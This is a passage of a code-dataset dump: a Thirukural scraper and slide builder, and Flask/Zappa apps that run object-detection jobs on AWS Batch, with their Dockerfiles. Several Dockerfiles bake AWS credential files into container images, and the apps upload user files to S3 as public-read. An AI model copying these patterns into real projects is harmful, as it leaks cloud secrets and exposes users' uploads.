</div>\n'''\n\nkural_title = '''\n <div class=\"sl-block k_t\" data-block-type=\"text\">\n kural_title\n </div>\n'''\n\nkural_explaination = '''\n <div class=\"sl-block k_e\" data-block-type=\"text\">\n <span style=\"position: absolute; left: -25px; top: 5px;\">-</span><span style=\"font-size:0.7em\">kural_explaination</span>\n </div>\n'''\n\nkural_template = '''\n <section data-background-color=\"#222222\" data-transition=\"convex\">\n <div class=\"sl-block\" data-block-type=\"text\" style=\"height: auto; width: 666px; left: 134px; top: 240px;z-index: 10; color: rgb(255, 255, 255);\">\n kural \n </div>\n kural_id\n kural_title\n kural_explaination\n </section>\n'''\n\nkurals = []\n\nfor row in rows:\n output = \"\"\n if row[0] % 10 == 1:\n output = \"<section>\" + kural_template.replace(\"kural_id\", \"\").replace(\"kural_title\", \"\").replace(\"kural_explaination\", \"\").replace('data-transition=\"convex\"', 'data-autoslide=\"4000\"').replace(\"kural\" , \"<p>\" + normalize('NFC', row[2]) + \"</p>\")\n x = row[1].split(\"<br/>\")\n x[1] = x[1].strip().rstrip(\".\") + \".\"\n x = [\"<p>\" + normalize('NFC', line) + \"</p>\" for line in x]\n k_id = kural_id.replace(\"kural_id\", str(row[0]))\n k_title = kural_title.replace(\"kural_title\", row[2])\n k_explaination = kural_explaination.replace(\"kural_explaination\", row[3])\n output += kural_template.replace(\"kural_id\", k_id).replace(\"kural_title\", k_title).replace(\"kural_explaination\", k_explaination).replace(\"kural\", \"\".join(x))\n if row[0] % 10 == 0:\n output += \"</section>\"\n kurals.append(output)\n\noutput = \"\\n\".join(kurals)\n\nreading_file = codecs.open(\"./src/template.html\", \"r\", encoding='utf8')\n\nnew_file_content = \"\"\nfor line in reading_file:\n stripped_line = line.strip()\n new_line = stripped_line.replace(\"kural_list\", output)\n new_file_content += new_line +\"\\n\"\nreading_file.close()\n\nwriting_file = codecs.open(\"./docs/index.html\", \"w\", encoding='utf8')\nwriting_file.write(new_file_content)\nwriting_file.close()\n\nconn.commit()\n \n" }, { "alpha_fraction": 0.5909090638160706, "alphanum_fraction": 0.6034255623817444, "avg_line_length": 31.191490173339844, "blob_id": "522564633d08cddd5f5fb59475adf39e9771d674", "content_id": "7c35d47e5149749ba9e86e2ce933d8b215f86ed7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1518, "license_type": "permissive", "max_line_length": 132, "num_lines": 47, "path": "/src/dinamalar.py", "repo_name": "kirubasankars/thirukural", "src_encoding": "UTF-8", "text": "import requests\nfrom bs4 import BeautifulSoup\nimport sqlite3, sys\n\n\nconn = sqlite3.connect('kural.db')\n#conn.text_factory = str #lambda x: unicode(x, \"utf-8\", \"ignore\")\n\nc = conn.cursor()\n#c.execute('''PRAGMA encoding=\"UTF-8\";''')\n\nc.execute('''CREATE TABLE IF NOT EXISTS kurals\n (id, kural, title)''')\n\nc.execute('''CREATE TABLE IF NOT EXISTS vilakams(id, author, content)''')\n\nconn.commit()\n\nc = conn.cursor()\n\nfor x in range(1, 1331):\n URL = \"https://m.dinamalar.com/kural_detail.php?kural_no=\" + str(x)\n page = requests.get(URL)\n\n soup = BeautifulSoup(page.content, 'html.parser')\n k = soup.find_all('p', class_='clsMaink')\n title = soup.select('#citylist > option[selected]')\n kvs = soup.select('div > p > b')\n \n kural = k[0].encode_contents()\n title = title[0].encode_contents().strip()\n print(title)\n\n #kural = unicode(kural, \"utf-8\")\n c.execute('INSERT INTO kurals(id, kural, title) VALUES(?, ?, ?)', (x, kural.decode('utf-8'), title.decode('utf-8')));\n for v in kvs:\n v = v.find_parent('div')\n author = v.find('span').encode_contents().strip().replace(\":\", \"\").strip()\n v.find('b').decompose()\n content = v.find('p').encode_contents().strip()\n #author = unicode(author, \"utf-8\") \n #content = unicode(content, \"utf-8\")\n print(author)\n print(content)\n c.execute('INSERT INTO vilakams(id, author, content) VALUES(?, ?, ?)', (x, author.decode('utf-8'), content.decode('utf-8')))\n\nconn.commit()\n \n" } ]
2
MitsuhiroIto/web_practice2
https://github.com/MitsuhiroIto/web_practice2
d6b060038f3909061aae9fb2c60cdc916ec4bfd0
50496873b015be14e1d89924b54603dfbe4259df
f7a182f7a665322fc621978b4cdafb735c948a42
refs/heads/master
2021-05-15T04:07:44.313748
2019-03-15T17:57:23
2019-03-15T17:57:23
119,861,452
3
0
null
null
null
null
null
[ { "alpha_fraction": 0.7664930820465088, "alphanum_fraction": 0.7942708134651184, "avg_line_length": 40.14285659790039, "blob_id": "f5e5b372ebe8d723a1e19cb7daa1d0ebb4c37c54", "content_id": "957f01fd654b11cda3fbc160fb32a2908efa8a57", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 1152, "license_type": "no_license", "max_line_length": 120, "num_lines": 28, "path": "/zappa-s3-docker_object_detection/dockerfile/Dockerfile", "repo_name": "MitsuhiroIto/web_practice2", "src_encoding": "UTF-8", "text": "FROM mitsuhiro3116/cuda8-6-opencv\n\nADD config /root/.aws/config\nADD credentials /root/.aws/credentials\n\nRUN apt-get update\nRUN apt-get -y install git\nRUN apt-get -y install python3-pip\nRUN git clone https://github.com/MitsuhiroIto/shell_script.git\nRUN git clone https://github.com/MitsuhiroIto/YAD2K.git\nRUN git clone https://github.com/MitsuhiroIto/Mask_RCNN.git\nRUN git clone https://github.com/pdollar/coco Mask_RCNN/coco\n\nRUN pip3 install awscli\nRUN pip3 install numpy h5py pillow\nRUN pip3 install numpy --upgrade\nRUN wget http://pjreddie.com/media/files/yolo.weights\nRUN wget https://raw.githubusercontent.com/pjreddie/darknet/master/cfg/yolo.cfg\nRUN pip3 install tensorflow keras==2.1.1\nRUN python3 YAD2K/yad2k.py yolo.cfg yolo.weights YAD2K/model_data/yolo.h5\nRUN pip3 uninstall -y tensorflow\nRUN pip3 install tensorflow-gpu==1.3\n\nRUN pip3 install scikit-image Cython IPython\nRUN wget https://github.com/matterport/Mask_RCNN/releases/download/v2.0/mask_rcnn_coco.h5 -O Mask_RCNN/mask_rcnn_coco.h5\nRUN apt-get -y install python-pip\nRUN pip2 install Cython numpy\nRUN cd Mask_RCNN/coco/PythonAPI && make && make install && python3 setup.py install\n" }, { "alpha_fraction": 0.7950963377952576, "alphanum_fraction": 0.807355523109436, "avg_line_length": 32.588233947753906, "blob_id": "406c875e0a47af6f792a9e26b0f1b5cf8f91feca", "content_id": "4536556eaaaf0c064df4da53dac6651f5ed22985", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 571, "license_type": "no_license", "max_line_length": 79, "num_lines": 17, "path": "/zappa-s3-docker_yolo/dockerfile/Dockerfile", "repo_name": "MitsuhiroIto/web_practice2", "src_encoding": "UTF-8", "text": "FROM jjanzic/docker-python3-opencv\n\nADD config /root/.aws/config\nADD credentials /root/.aws/credentials\n\nRUN git clone https://github.com/MitsuhiroIto/shell_script.git\nRUN git clone https://github.com/MitsuhiroIto/YAD2K.git\n\nRUN pip install numpy h5py pillow\nRUN pip install numpy --upgrade\nRUN pip install tensorflow\nRUN pip install keras\nRUN pip install awscli\n\nRUN wget http://pjreddie.com/media/files/yolo.weights\nRUN wget https://raw.githubusercontent.com/pjreddie/darknet/master/cfg/yolo.cfg\nRUN python YAD2K/yad2k.py yolo.cfg yolo.weights YAD2K/model_data/yolo.h5\n" }, { "alpha_fraction": 0.5096918344497681, "alphanum_fraction": 0.5223818421363831, "avg_line_length": 44.96794891357422, "blob_id": "bfbd117a6fce3492103a8ef1aabcd0a74bbfcccd", "content_id": "92e4689d10d9993e94688a513e9ed867ae350116", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 7171, "license_type": "no_license", "max_line_length": 166, "num_lines": 156, "path": "/zappa-s3-docker_object_detection/create-batch-entities.py", "repo_name": "MitsuhiroIto/web_practice2", "src_encoding": "UTF-8", "text": "import boto3\nimport argparse\nimport time\nimport sys\nimport json\n\nbatch = boto3.client('batch')\n\nparser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\n\nparser.add_argument(\"--compute-environment\", help=\"name of the compute environment\", type=str, required=True)\nparser.add_argument(\"--subnets\", help=\"comma delimited list of subnets\", type=str, default='subnet-31146569')\nparser.add_argument(\"--security-groups\", help=\"comma delimited list of security group ids\",type=str, default='sg-10dbac69')\nparser.add_argument(\"--instance-role\", help=\"instance role\", type=str, default='arn:aws:iam::251699169519:instance-profile/ecsInstanceRole')\nparser.add_argument(\"--service-role\", help=\"service role\", type=str, default='arn:aws:iam::251699169519:role/service-role/AWSBatchServiceRole')\nparser.add_argument(\"--container\", help=\"container\", type=str, default='251699169519.dkr.ecr.ap-northeast-1.amazonaws.com/mitsuhiro3116/object_detection')\nparser.add_argument(\"--image-id\", help=\"image id\", type=str, default='ami-319bde57')\nparser.add_argument(\"--key-pair\", help=\"ec2 key pair\", type=str, default='mitsu-aws2')\nargs = parser.parse_args()\n\nspin = ['-', '/', '|', '\\\\', '-', '/', '|', '\\\\']\n\ndef create_compute_environment(computeEnvironmentName, instanceType, unitVCpus, imageId, serviceRole, instanceRole,\n subnets, securityGroups, keyPair):\n response = batch.create_compute_environment(\n computeEnvironmentName=computeEnvironmentName,\n type='MANAGED',\n serviceRole=serviceRole,\n computeResources={\n 'type': 'EC2',\n 'imageId': imageId,\n 'minvCpus': 1,\n 'maxvCpus': 5,\n 'desiredvCpus': 1,\n 'instanceTypes': instanceType,\n 'subnets': subnets,\n 'securityGroupIds': securityGroups,\n 'ec2KeyPair': keyPair,\n 'instanceRole': instanceRole\n }\n )\n\n spinner = 0\n while True:\n describe = batch.describe_compute_environments(computeEnvironments=[computeEnvironmentName])\n computeEnvironment = describe['computeEnvironments'][0]\n status = computeEnvironment['status']\n if status == 'VALID':\n print('\\rSuccessfully created compute environment %s' % (computeEnvironmentName))\n break\n elif status == 'INVALID':\n reason = computeEnvironment['statusReason']\n raise Exception('Failed to create compute environment: %s' % (reason))\n print( '\\rCreating compute environment... %s' % (spin[spinner % len(spin)])),\n sys.stdout.flush()\n spinner += 1\n time.sleep(1)\n\n return response\n\n\ndef create_job_queue(computeEnvironmentName, jobQueueName):\n response = batch.create_job_queue(jobQueueName=jobQueueName,\n priority=0,\n computeEnvironmentOrder=[{\n 'order': 0,\n 'computeEnvironment': computeEnvironmentName\n }]\n )\n\n spinner = 0\n while True:\n describe = batch.describe_job_queues(jobQueues=[jobQueueName])\n jobQueue = describe['jobQueues'][0]\n status = jobQueue['status']\n if status == 'VALID':\n print('\\rSuccessfully created job queue %s' % (jobQueueName))\n break\n elif status == 'INVALID':\n reason = jobQueue['statusReason']\n raise Exception('Failed to create job queue: %s' % reason)\n print ('\\rCreating job queue... %s' % (spin[spinner % len(spin)])),\n sys.stdout.flush()\n spinner += 1\n time.sleep(1)\n\n return response, jobQueueName\n\ndef register_job_definition(jobDefName, image, unitVCpus, unitMemory):\n response = batch.register_job_definition(jobDefinitionName=jobDefName,\n type='container',\n containerProperties={\n 'image': image,\n 'vcpus': unitVCpus,\n 'memory': unitMemory,\n 'privileged': True,\n 'volumes': [\n {\n 'host': {\n 'sourcePath': '/var/lib/nvidia-docker/volumes/nvidia_driver/latest'\n },\n 'name': 'nvidia-driver-dir'\n }\n ],\n 'mountPoints': [\n {\n 'containerPath': '/usr/local/nvidia',\n 'readOnly': True,\n 'sourceVolume': 'nvidia-driver-dir'\n }\n ]\n })\n print ('Created job definition %s' % response['jobDefinitionName'])\n return response\n\ndef main():\n computeEnvironmentName = args.compute_environment\n jobQueueName = computeEnvironmentName + '_queue'\n jobDefName = computeEnvironmentName + '_def'\n\n f = open('json/batch_job.json', 'r')\n job = json.load(f)\n job['queue_name'] = jobQueueName\n job['definition_name'] = jobDefName\n f = open('json/batch_job.json', 'w')\n json.dump(job, f)\n\n imageId = args.image_id\n serviceRole = args.service_role\n instanceRole = args.instance_role\n subnets = args.subnets.split(\",\")\n securityGroups = args.security_groups.split(\",\")\n container_url = args.container\n keyPair = args.key_pair\n\n # vcpus and memory in a p2.xlarge\n unitVCpus = 4\n unitMemory = 61000\n\n create_compute_environment(computeEnvironmentName=computeEnvironmentName,\n instanceType=['p2.xlarge', 'p2.8xlarge', 'p2.16xlarge'],\n unitVCpus=4,\n imageId=imageId,\n serviceRole=serviceRole,\n instanceRole=instanceRole,\n subnets=subnets,\n securityGroups=securityGroups,\n keyPair=keyPair)\n\n create_job_queue(computeEnvironmentName, jobQueueName)\n register_job_definition(jobDefName=jobDefName, image=container_url, unitVCpus=unitVCpus, unitMemory=unitMemory)\n print('Successfully created batch entities (compute environment: {}, job queue: {}, job definition: {})'.format(computeEnvironmentName, jobQueueName, jobDefName))\n\n\nif __name__ == \"__main__\":\n main()\n" }, { "alpha_fraction": 0.6928571462631226, "alphanum_fraction": 0.7571428418159485, "avg_line_length": 17.66666603088379, "blob_id": "bcd91e8d17a525253a12a62d9a958b1869be17f0", "content_id": "4f8873f434c5881d44837783ebf89eb0600d1b85", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 338, "license_type": "no_license", "max_line_length": 60, "num_lines": 15, "path": "/README.md", "repo_name": "MitsuhiroIto/web_practice2", "src_encoding": "UTF-8", "text": "# web_practice2\nAWS Batchのjobを設定する \nAWS Batchのdocker上でGPUを使いたい場合はこちら\nhttps://qiita.com/MitsuhiroIto/private/3d59797e8f4700339993\n ```\npython create-batch-entities.py --compute-environment <job名>\n ```\ndeployする(ローカル)\n```\npython python app.py\n```\ndeployする(AWS)\n```\nzappa deploy\n```\n" }, { "alpha_fraction": 0.7624161243438721, "alphanum_fraction": 0.7959731817245483, "avg_line_length": 27.69230842590332, "blob_id": "07b9ddde8e3d5d6c2cc4885c25bb36b6d1032fb7", "content_id": "3e07a7984ce6fc5b704bf9f25b4c50cadbf12ba4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 745, "license_type": "no_license", "max_line_length": 79, "num_lines": 26, "path": "/zappa-s3-docker_yolo-gpu-movie/dockerfile/Dockerfile", "repo_name": "MitsuhiroIto/web_practice2", "src_encoding": "UTF-8", "text": "FROM mitsuhiro3116/cuda8-6-opencv\n\n\nADD config /root/.aws/config\nADD credentials /root/.aws/credentials\n\nRUN apt-get update\nRUN apt-get -y install git\nRUN apt-get -y install python3-pip\nRUN git clone https://github.com/MitsuhiroIto/shell_script.git\nRUN git clone https://github.com/MitsuhiroIto/YAD2K.git\n\n\nRUN pip3 install numpy h5py pillow\nRUN pip3 install numpy --upgrade\n\nRUN pip3 install awscli\n\nRUN apt-get install wget\nRUN wget http://pjreddie.com/media/files/yolo.weights\nRUN wget https://raw.githubusercontent.com/pjreddie/darknet/master/cfg/yolo.cfg\nRUN pip3 install tensorflow keras==2.1.1\n\nRUN python3 YAD2K/yad2k.py yolo.cfg yolo.weights YAD2K/model_data/yolo.h5\nRUN pip3 uninstall -y tensorflow\nRUN pip3 install tensorflow-gpu==1.3" }, { "alpha_fraction": 0.7669172883033752, "alphanum_fraction": 0.7932330965995789, "avg_line_length": 37, "blob_id": "b13e91f8af8fb832a187c149798309216685a470", "content_id": "3fa439c7f4adf69864c82c84ff7d941e051f72d7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 798, "license_type": "no_license", "max_line_length": 120, "num_lines": 21, "path": "/zappa-s3-docker_mask-gpu-movie/dockerfile/Dockerfile", "repo_name": "MitsuhiroIto/web_practice2", "src_encoding": "UTF-8", "text": "FROM mitsuhiro3116/cuda8-6-opencv\n\nADD config /root/.aws/config\nADD credentials /root/.aws/credentials\n\nRUN apt-get update\nRUN apt-get install git\nRUN git clone https://github.com/MitsuhiroIto/shell_script.git\nRUN git clone https://github.com/MitsuhiroIto/Mask_RCNN.git\nRUN git clone https://github.com/pdollar/coco Mask_RCNN/coco\n\nRUN pip3 install scikit-image Cython IPython\nRUN pip3 install numpy h5py pillow\nRUN pip3 install numpy --upgrade\nRUN pip3 install tensorflow-gpu==1.3\nRUN pip3 install keras\nRUN pip3 install awscli\nRUN wget https://github.com/matterport/Mask_RCNN/releases/download/v2.0/mask_rcnn_coco.h5 -O Mask_RCNN/mask_rcnn_coco.h5\nRUN apt-get -y install python-pip\nRUN pip2 install Cython numpy\nRUN cd Mask_RCNN/coco/PythonAPI && make && make install && python3 setup.py install\n" }, { "alpha_fraction": 0.801047146320343, "alphanum_fraction": 0.8062826991081238, "avg_line_length": 26.285715103149414, "blob_id": "3045ed5900d2492b47fb4a9cafe1a8b2fb0cac72", "content_id": "e03944e104f4221982d95cb61b096cb9e610e713", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 191, "license_type": "no_license", "max_line_length": 62, "num_lines": 7, "path": "/zappa-s3-docker/dockerfile/Dockerfile", "repo_name": "MitsuhiroIto/web_practice2", "src_encoding": "UTF-8", "text": "FROM jjanzic/docker-python3-opencv\n\nADD config /root/.aws/config\nADD credentials /root/.aws/credentials\n\nRUN pip install awscli\nRUN git clone https://github.com/MitsuhiroIto/shell_script.git\n" }, { "alpha_fraction": 0.7857142686843872, "alphanum_fraction": 0.7942857146263123, "avg_line_length": 37.88888931274414, "blob_id": "b6bd1ccfc2e97d24aeea322ff3f6f66a448fd359", "content_id": "e315300ed4654fb254fa3ed8f34dcabcc88ce336", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 700, "license_type": "no_license", "max_line_length": 120, "num_lines": 18, "path": "/zappa-s3-docker_mask/dockerfile/Dockerfile", "repo_name": "MitsuhiroIto/web_practice2", "src_encoding": "UTF-8", "text": "FROM jjanzic/docker-python3-opencv\n\nADD config /root/.aws/config\nADD credentials /root/.aws/credentials\n\nRUN apt-get install git\nRUN git clone https://github.com/MitsuhiroIto/shell_script.git\nRUN git clone https://github.com/MitsuhiroIto/Mask_RCNN.git\nRUN git clone https://github.com/pdollar/coco Mask_RCNN/coco\n\nRUN pip install scikit-image Cython IPython\nRUN pip install numpy h5py pillow\nRUN pip install numpy --upgrade\nRUN pip install tensorflow\nRUN pip install keras\nRUN pip install awscli\nRUN wget https://github.com/matterport/Mask_RCNN/releases/download/v2.0/mask_rcnn_coco.h5 -O Mask_RCNN/mask_rcnn_coco.h5\nRUN cd Mask_RCNN/coco/PythonAPI && make && make install && python setup.py install\n" }, { "alpha_fraction": 0.4887048304080963, "alphanum_fraction": 0.49811747670173645, "avg_line_length": 35.38356018066406, "blob_id": "b53d8538296343aac45cdd85c30999292f2a0f81", "content_id": "f7bbfd8e2a7d9d3d321448b703df8e553a5c1076", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2656, "license_type": "no_license", "max_line_length": 137, "num_lines": 73, "path": "/zappa-s3-docker_mask/app.py", "repo_name": "MitsuhiroIto/web_practice2", "src_encoding": "UTF-8", "text": "from flask import Flask, render_template, request, redirect, url_for\nfrom datetime import datetime\nimport os\nimport boto3\n\napp = Flask(__name__)\nbucket_name = 'mitsu-aws-image'\napp.config['USE_S3_DEBUG'] = True\n\nresource_s3 = boto3.resource('s3')\nclient_s3 = boto3.client('s3')\nclient_batch = boto3.client('batch')\n\nJOB_QUEUE = 'mitsu-batch-que'\nJOB_DEFINITION = 'mitsu-mask-cpu'\nupload_folder = 'static/uploads/'\n\[email protected]('/')\ndef index():\n return render_template('index.html')\n\[email protected]('/send', methods=['GET', 'POST'])\ndef send():\n if request.method == 'POST':\n upload_file = request.files['upload_file']\n resource_s3.Bucket(bucket_name).put_object(Key= upload_folder + upload_file.filename, Body=upload_file.read(), ACL='public-read')\n upload_url = 'https://s3-ap-northeast-1.amazonaws.com/' + bucket_name + '/' + upload_folder + upload_file.filename\n client_s3.get_waiter('object_exists').wait(Bucket=bucket_name, Key=upload_folder + upload_file.filename)\n return render_template('index.html', upload_url = upload_url )\n\[email protected]('/augmentation', methods=['GET', 'POST'])\ndef augmentation():\n if request.form['button_name'] == \"Mask-RCNN\":\n file_name = request.form['upload_url'].rsplit('/', 1)[-1]\n file_name_af = file_name.rsplit('.', 1)[0] + \"_mask.png\"\n s3_url_src = 's3://' + bucket_name + '/' + upload_folder + file_name\n s3_url_dst = 's3://' + bucket_name + '/' + upload_folder + file_name_af\n\n client_batch.submit_job(\n jobName='job-mitsu-' + datetime.now().strftime('%Y%m%d-%H%M%S'),\n jobQueue=JOB_QUEUE,\n jobDefinition=JOB_DEFINITION,\n containerOverrides={\n 'command': [\n \"sh\",\n \"shell_script/detect_mask/fetch_and_run.sh\"\n ],\n 'environment': [\n {\n 'name': 'FILE_NAME',\n 'value': file_name\n },\n {\n 'name': 'FILE_NAME_AF',\n 'value': file_name_af\n },\n {\n 'name': 'BATCH_FILE_S3_URL_SRC',\n 'value': s3_url_src\n },\n {\n 'name': 'BATCH_FILE_S3_URL_DST',\n 'value': s3_url_dst\n },\n ]\n },\n )\n\n return render_template('index.html')\n\nif __name__ == \"__main__\":\n app.debug = True\n app.run()\n" }, { "alpha_fraction": 0.6842105388641357, "alphanum_fraction": 0.7368420958518982, "avg_line_length": 18, "blob_id": "708b496191dccefb315d461e297ebad9e50c9ba1", "content_id": "e6f4f6e6db154bdbc9b0bf7bb8c4b1a14dbf66f2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 19, "license_type": "no_license", "max_line_length": 18, "num_lines": 1, "path": "/zappa-s3-docker/README.md", "repo_name": "MitsuhiroIto/web_practice2", "src_encoding": "UTF-8", "text": "# wzappa-s3-docker\n" }, { "alpha_fraction": 0.5332922339439392, "alphanum_fraction": 0.5462391972541809, "avg_line_length": 40.589744567871094, "blob_id": "606b8ec2fe181a0126fc644771d5703ed126685c", "content_id": "a50ec87ad8abcb449b5014575f32ef02bffffa30", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4866, "license_type": "no_license", "max_line_length": 141, "num_lines": 117, "path": "/zappa-s3-docker_mask-gpu-movie/app.py", "repo_name": "MitsuhiroIto/web_practice2", "src_encoding": "UTF-8", "text": "from flask import Flask, render_template, request, redirect, url_for\nfrom datetime import datetime\nimport os\nimport boto3\nimport json\n\napp = Flask(__name__)\nbucket_name = 'mitsu-aws-image'\napp.config['USE_S3_DEBUG'] = True\nALLOWED_EXTENSIONS = set(['png', 'jpg','jpeg', 'avi'])\ndef allowed_file(filename):\n return '.' in filename and \\\n filename.rsplit('.', 1)[1] in ALLOWED_EXTENSIONS\n\nresource_s3 = boto3.resource('s3')\nresource_sns = boto3.resource('sns')\nclient_s3 = boto3.client('s3')\nclient_batch = boto3.client('batch')\nclient_events = boto3.client('events')\nclient_sns = boto3.client('sns')\n\nupload_folder = 'static/uploads/'\n\[email protected]('/')\ndef index():\n return render_template('index.html')\n\[email protected]('/send', methods=['GET', 'POST'])\ndef send():\n if request.method == 'POST':\n upload_file = request.files['upload_file']\n if upload_file and allowed_file(upload_file.filename):\n resource_s3.Bucket(bucket_name).put_object(Key= upload_folder + upload_file.filename, Body=upload_file.read(), ACL='public-read')\n upload_url = 'https://s3-ap-northeast-1.amazonaws.com/' + bucket_name + '/' + upload_folder + upload_file.filename\n client_s3.get_waiter('object_exists').wait(Bucket=bucket_name, Key=upload_folder + upload_file.filename)\n return render_template('index.html', upload_url = upload_url )\n else:\n return render_template('index.html', warning=\"warning\")\n\[email protected]('/augmentation', methods=['GET', 'POST'])\ndef augmentation():\n if request.form['button_name'] == \"MASK\":\n if not request.form['mail']:\n return render_template('index.html', warning2=\"warning2\")\n f = open('json/batch_job.json', 'r')\n job = json.load(f)\n job['submit_job']['environment'][0]['value'] = file_name = request.form['upload_url'].rsplit('/', 1)[-1]\n job['submit_job']['environment'][1]['value'] = file_name_af = file_name.rsplit('.', 1)[0] + \"_mask.\" + file_name.rsplit('.', 1)[1]\n job['submit_job']['environment'][2]['value'] = 's3://' + bucket_name + '/' + upload_folder + file_name\n job['submit_job']['environment'][3]['value'] = 's3://' + bucket_name + '/' + upload_folder + file_name_af\n\n if file_name.rsplit('.', 1)[1] == 'avi' or file_name.rsplit('.', 1)[1] == 'mp4':\n job['submit_job']['command']=[\"sh\",\"shell_script/detect_mask-movie/fetch_and_run.sh\"]\n\n else :\n job['submit_job']['command']=[\"sh\",\"shell_script/detect_mask-image/fetch_and_run.sh\"]\n\n url_download =client_s3.generate_presigned_url(\n ClientMethod = 'get_object',\n Params = {'Bucket' : bucket_name, 'Key' : upload_folder + file_name_af},\n ExpiresIn = 3600,\n HttpMethod = 'GET'\n )\n client_batch.submit_job(\n jobName='job-mitsu-' + datetime.now().strftime('%Y%m%d-%H%M%S'),\n jobQueue=job['queue_name'],\n jobDefinition=job['definition_name'],\n containerOverrides=job['submit_job']\n )\n\n topic_name = 'batch'\n client_sns.create_topic(Name=topic_name)\n client_sns.subscribe(\n TopicArn=resource_sns.create_topic(Name=topic_name).arn,\n Protocol='email',\n Endpoint=request.form['mail'])\n client_sns.set_topic_attributes(\n TopicArn=resource_sns.create_topic(Name=topic_name).arn,\n AttributeName='Policy',\n AttributeValue=json.dumps({\n \"Id\": \"Policy1519298170820\",\n \"Version\": \"2012-10-17\",\n \"Statement\": [{\n \"Sid\": \"TrustCWEToPublishEventsToMyTopic\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"Service\": \"events.amazonaws.com\"\n },\n \"Action\": \"sns:Publish\",\n \"Resource\":resource_sns.create_topic(Name=topic_name).arn\n }]\n })\n )\n client_events.put_rule(\n Name=topic_name,\n State='ENABLED',\n EventPattern=json.dumps({\n \"source\": [\"aws.batch\"],\n \"detail-type\": [\"Batch Job State Change\"],\n \"detail\": {\"status\": [\"SUCCEEDED\"]}\n })\n )\n mail_text = \"Finish your work! You can down load here. \" + url_download\n client_events.put_targets(\n Rule=topic_name,\n Targets=[{\n \"Id\": 'batch',\n \"Arn\": resource_sns.create_topic(Name=topic_name).arn,\n \"Input\": json.dumps(mail_text)\n }]\n )\n\n return render_template('index.html')\n\nif __name__ == \"__main__\":\n app.debug = True\n app.run()\n" }, { "alpha_fraction": 0.6265223026275635, "alphanum_fraction": 0.6377988457679749, "avg_line_length": 39.30908966064453, "blob_id": "0aac76d71ac3dbdaf68de95451d99c48ec29523d", "content_id": "f521b34f1eafc3c4745b8fec0fa75ff6888e7cf3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2217, "license_type": "no_license", "max_line_length": 141, "num_lines": 55, "path": "/zappa-s3-docker_yolo/app.py", "repo_name": "MitsuhiroIto/web_practice2", "src_encoding": "UTF-8", "text": "from flask import Flask, render_template, request, redirect, url_for\nfrom datetime import datetime\nimport os\nimport boto3\nimport json\n\napp = Flask(__name__)\nbucket_name = 'mitsu-aws-image'\napp.config['USE_S3_DEBUG'] = True\n\nresource_s3 = boto3.resource('s3')\nclient_s3 = boto3.client('s3')\nclient_batch = boto3.client('batch')\n\nJOB_QUEUE = 'mitsu-batch-que'\nJOB_DEFINITION = 'mitsu-yolo-cpu'\nupload_folder = 'static/uploads/'\n\[email protected]('/')\ndef index():\n return render_template('index.html')\n\[email protected]('/send', methods=['GET', 'POST'])\ndef send():\n if request.method == 'POST':\n upload_file = request.files['upload_file']\n resource_s3.Bucket(bucket_name).put_object(Key= upload_folder + upload_file.filename, Body=upload_file.read(), ACL='public-read')\n upload_url = 'https://s3-ap-northeast-1.amazonaws.com/' + bucket_name + '/' + upload_folder + upload_file.filename\n client_s3.get_waiter('object_exists').wait(Bucket=bucket_name, Key=upload_folder + upload_file.filename)\n return render_template('index.html', upload_url = upload_url )\n\[email protected]('/augmentation', methods=['GET', 'POST'])\ndef augmentation():\n if request.form['button_name'] == \"YOLO\":\n f = open('batch_job.json', 'r')\n containerOverrides = json.load(f)\n\n containerOverrides['environment'][0]['value'] = file_name = request.form['upload_url'].rsplit('/', 1)[-1]\n containerOverrides['environment'][1]['value'] = file_name_af = file_name.rsplit('.', 1)[0] + \"_yolo.\" + file_name.rsplit('.', 1)[1]\n containerOverrides['environment'][2]['value'] = 's3://' + bucket_name + '/' + upload_folder + file_name\n containerOverrides['environment'][3]['value'] = 's3://' + bucket_name + '/' + upload_folder + file_name_af\n containerOverrides['command']=[\"sh\",\"shell_script/detect_yolo/fetch_and_run.sh\"]\n\n client_batch.submit_job(\n jobName='job-mitsu-' + datetime.now().strftime('%Y%m%d-%H%M%S'),\n jobQueue=JOB_QUEUE,\n jobDefinition=JOB_DEFINITION,\n containerOverrides=containerOverrides\n )\n\n return render_template('index.html')\n\nif __name__ == \"__main__\":\n app.debug = True\n app.run()\n" } ]
12
ai-Lemon/crawler-practice
https://github.com/ai-Lemon/crawler-practice
504ac758081e89912ee683cef866604c49616ebd
0ad941d424ce8d027e311346f4b147840b9ed9a1
63a535949debcee81d6232649257d3548668ab4f
refs/heads/master
2023-01-05T23:44:21.201104
2020-11-05T14:33:15
2020-11-05T14:33:15
184,077,727
1
0
null
null
null
null
null
